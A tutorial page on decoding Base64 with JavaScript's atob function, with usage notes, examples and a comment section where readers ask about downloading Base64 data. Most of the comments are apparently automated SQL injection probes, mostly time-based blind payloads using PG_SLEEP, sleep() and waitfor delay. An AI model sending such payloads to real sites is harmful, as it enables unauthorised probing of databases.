A virtual teacher who reveals to you the great secrets of Base64

JavaScript Base64 Decode

To convert Base64 to original data, JavaScript provides the atob function which is an acronym for “ASCII to Binary”. In JavaScript Base64 values are obtained using the btoa function.

Usage:

  • atob(data) - Converts data to STRING and decodes it from Base64

Arguments:

  • data (required string) - The Base64 value you want to decode

Return Values:

  • STRING - On success, it returns the original data (it can be either text or binary)

Exceptions:

On failure the function may throw one of the following exceptions:

  • InvalidCharacterError: String contains an invalid character
  • TypeError: Not enough arguments to Window.atob

Example #1 (basic usage):

var str = atob('Z3VydQ==');
console.log(str); //-> "guru"

Example #2 (check if function is supported):

if (typeof atob !== 'function') {
  // Cannot decode Base64 values because the atob() function is not supported
  // Perhaps you want to use a polyfill or at least inform user about this
}

Example #3 (non-string data):

// Before decoding Base64 values the btoa() function converts it to String()
// It is for this reason that you will not get any errors if you pass a “wrong” data type
// For example, that is why in the example below you will get the same results
atob(null); //-> "�ée"
atob('null'); //-> "�ée"

Example #4 (unicode string):

// By default most browsers don’t support Unicode strings
// For example, this is why the btoa() function will fail to encode “€100” to Base64
// However, the atob() function doesn’t fail to decode “4oKsMTAw” (real Base64 value of the “€100”)
// In fairness, you get a completely different result, because string is treated as ASCII
var b64 = '4oKsMTAw',
  data = atob(b64);
console.log(data); //-> "�100"

For more info, check the following examples:

Comments (23)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • Santosh,
    I have 2.5MB pdf base64 data URI but it is not download using given javascript code can you please provide any solution for this.
    • Administrator,
      If you have a data URI string and want just be able to download it, there is no need to decode it. You can create a HTML link that tells the browser to download the PDF file:
      <a href="data:application/pdf;base64,YOUR_B64_STRING" download="file.pdf">file.pdf</a>
  • manish96,
    I have more than 6 MB of base64 data that when I try to download it as excel file in typescript,the file is getting Repaired and throwing me that it cant be open.I have Applied the coding logic as suggested in the below metioned link.First I will convert my base64 to arraybuffer and then to arraybytes and finally the same to blob and after that download the same.This logic is working fine base64 with <6 Mb size.Kindly Help me on this.

    `https://stackoverflow.com/questions/48836541/save-binary-file-from-base64-data-in-javascript`
  • john,
    url to base64
  • yrdneh,
    hey, i have base64 string for my image, how to create a new file using File constructor based on base 64 string? thankyou so much
  • nqhXncMU,
    1 waitfor delay '0:0:15' --
  • nqhXncMU,
    -5) OR 146=(SELECT 146 FROM PG_SLEEP(15))--
  • nqhXncMU,
    tN9vMDiC')) OR 754=(SELECT 754 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1 OR 2+215-215-1=0+0+0+1
  • nqhXncMU,
    FKn31mIe') OR 32=(SELECT 32 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1' OR 3+539-539-1=0+0+0+1 or '0hXYP6uj'='
  • gBqsPxAZ,
    -1 OR 2+335-335-1=0+0+0+1 --
  • gBqsPxAZ,
    KHLfPy9L') OR 325=(SELECT 325 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • gBqsPxAZ,
    if(now()=sysdate(),sleep(15),0)
  • gBqsPxAZ,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
  • ncMUFCMU,
    555*99*94*0
  • ncMUFCMU,
    CaONToCR' OR 836=(SELECT 836 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    -1' OR 2+774-774-1=0+0+0+1 --
  • ncMUFCMU,
    nDLkzbFU') OR 786=(SELECT 786 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    VYwRO9Xg') OR 932=(SELECT 932 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    -1 OR 2+517-517-1=0+0+0+1
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.